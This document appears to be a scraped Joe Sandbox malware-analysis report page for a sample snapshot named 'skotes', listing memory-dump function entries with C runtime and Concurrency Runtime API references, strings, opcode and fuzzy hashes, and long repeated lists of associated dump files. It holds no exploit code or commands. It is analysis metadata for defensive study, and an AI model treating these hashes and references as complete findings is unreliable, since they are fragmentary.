Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 0d15a9cb534af740dececf69fbc234aae5b8d9393c977708eed4efd7d9acae47
Instruction ID: b0c3a20bded652fa6dce9d320a5d9cb305a49219a392488d6e0bec4098592cd6
Opcode Fuzzy Hash: 0d15a9cb534af740dececf69fbc234aae5b8d9393c977708eed4efd7d9acae47
Instruction Fuzzy Hash: 3EC17671800609EFCF29DFA4C8819EEBBB6BF14321F14415AE8126B312D771EA51CBD1

Function 00634840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00634877
___except_validate_context_record.LIBVCRUNTIME ref: 0063487F
_ValidateLocalCookies.LIBCMT ref: 00634908
__IsNonwritableInCurrentImage.LIBCMT ref: 00634933
_ValidateLocalCookies.LIBCMT ref: 00634988

Strings

csm, xrefs: 0063491D
S9c, xrefs: 00634925, 0063492E, 0063493F

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9c$csm
API String ID: 1170836740-3686841229
Opcode ID: 828f3802a0c14d5a652b28b91b1516b7d836eef3dc2c3ad70f924528f5577d0d
Instruction ID: fb24a6a1675a12cd6fdb50a82fbf52e881c60dcfe390c0eb75dfe4ea7ba58024
Opcode Fuzzy Hash: 828f3802a0c14d5a652b28b91b1516b7d836eef3dc2c3ad70f924528f5577d0d
Instruction Fuzzy Hash: 0341B534A00209AFCF10DF68D884A9EFBB6BF45318F148199E8195B392DB31EA55CFD1

Function 00627364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006273B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006273F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0062740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00627419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00627440

Strings

count, xrefs: 0062737E
ppVirtualProcessorRoots, xrefs: 00627438

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 1e96900d47219094a8bfec930841c5b4d44ae64a2ea7ca54684642a5557d9a8c
Instruction ID: b29bf703cca55a4efe219fc713fb1360d176d81d2f487057f657d0a95432a08c
Opcode Fuzzy Hash: 1e96900d47219094a8bfec930841c5b4d44ae64a2ea7ca54684642a5557d9a8c
Instruction Fuzzy Hash: D8217E34A00629AFCF10EF68D495EEDBBB6BF09351F1440A9E805A7351DB30AE45CF94

Function 0061EE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0061EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0061EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0061EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0061EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0061EF31

Strings

ia, xrefs: 0061EED0

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: ia
API String ID: 1182035702-2042661721
Opcode ID: d567f963c71b30e2cfc96a8bbb432dc07890059e16f1950f5ffde86c9cbd4b8e
Instruction ID: c53ca1dc9370f871d772ac4eb1dd5a3cfdd210f2620f1c65338fb6cb5df89ecc
Opcode Fuzzy Hash: d567f963c71b30e2cfc96a8bbb432dc07890059e16f1950f5ffde86c9cbd4b8e
Instruction Fuzzy Hash: 10218170C102198EDF64DFA4C8556EEBBF2BF14320F28092DE851A62D1E7B2CAC5CB55

Function 006278E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00627903

Part of subcall function 00625CB8: __EH_prolog3_catch.LIBCMT ref: 00625CBF
Part of subcall function 00625CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00625CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 0062792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00627936

Part of subcall function 00625CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00625D70
Part of subcall function 00625CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00625D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00627982
Concurrency::location::_Assign.LIBCMT ref: 006279A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 006279AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 006279BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 006279ED

Part of subcall function 0062691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00626942
Part of subcall function 0062691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00626965

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
